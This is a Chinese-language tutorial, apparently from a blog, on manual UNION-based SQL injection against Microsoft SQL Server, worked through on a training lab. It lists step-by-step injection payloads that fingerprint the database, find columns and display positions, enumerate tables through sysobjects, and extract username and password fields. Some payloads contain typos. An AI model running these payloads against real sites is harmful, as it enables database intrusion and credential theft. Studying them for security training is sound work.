MSSQL数据库注入(一)
1. MSSQL注入手工联合注入mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。(例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)mssql在使用上和可移植等方面与mysql存在不同的差异。MSSQL数据库的基本知识MSS
1. MSSQL注入手工联合注入
mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。
- (例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)
mssql在使用上和可移植等方面与mysql存在不同的差异。
MSSQL数据库的基本知识
- MSSQL中自带数据库信息
库名 | 相关功能 |
---|---|
master | 系统控制数据库,包含配置信息,用户登录信息,系统运行状态 |
model | 模板数据库,数据库时建立所有数据库的模板。 |
tempdb | 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件 |
msdb | 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息 |
- MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)
视图表 | 功能 |
---|---|
sysobjects | 记录了数据库中所有表,常用字段为id、name和xtype |
syscolumns | 记录了数据库中所有表的字段,常用字段为id、name和xtype |
sys.databases | SQL Server 中所有的数据库 |
sys.sql_logins | SQL Server 中所有的登录名 |
information_schema.tables | 当前用户数据库的表 |
information_schema.columns | 当前用户数据库的列 |
sys.database_files | 存储在数据库中数据库文件 |
Mssql数据库手工联合注入
这里我们使用的靶场环境为墨者学院中Sql Server注入环境
- 判断是否是Mssql数据库类型
and exists(select * from sysobjects) –
and exists(select count(*) from sysobjects) –
- 输入上面的mssql手工注入代码时候,如果不存在报错,更改命令中的代码信息就产生报错,则可以判断数据库类型为Mssql数据库
- 判断mssql数据库的字段长度
order by 5
此处发现order by 5会报错,那我们使用4试试
- 我们发现字段为4未出现报错,所以注入的字段数为4
- 寻找字符型的显示位置
- 注意:在mssql中查找显示位时需要在union select中间添加all,因为union select在mssql中会重复一些字段从而导致报错
- null 表示无论是数字形式还是字符形式
id=-2 and union all select null,null,null,null
4. 通过更改null的字符进行判断显示
id=-2 and union all select null,‘2’,‘3’,null
- 通过第二个和第三个我们发现判断显示的位置,我们获取数据库信息也从这两个显示位置注入。
- 通过命令对数据库进行相关查询
@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息
- 查询mssql数据库的版本信息
id=-2 and union all select null,@@verions,‘3’,null
- 这里我们看见mssql数据库的版本信息为sql server 2005
- 查询并获取出数据库名
id=-2 union all select null,db_name(),‘3’,null
- 通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。
mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4
mssql查询表中只能用top进行对表的版本查询,top查询中xtype=‘u’表示对对xtype中值为u的时候进行搜索,只能是u,如果是其他的值并不能搜索出现
此已经查询到了manage数据表,我们通过添加一个条件语句,使得查询不是‘manage’名称的表就可以继续查询到下一个数据表了
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in(‘manage’)),‘3’,4
9.发现数据表,我们可以继续查询表中对应的字段名称,通过col_name对表中进行查询
- 通过修改在object_id(‘manage’)后面的数字就可以调整想要查看的字段
10.获取到了manage数据表的字段username和password后,我们就可以查看到相关信息
更多推荐
所有评论(0)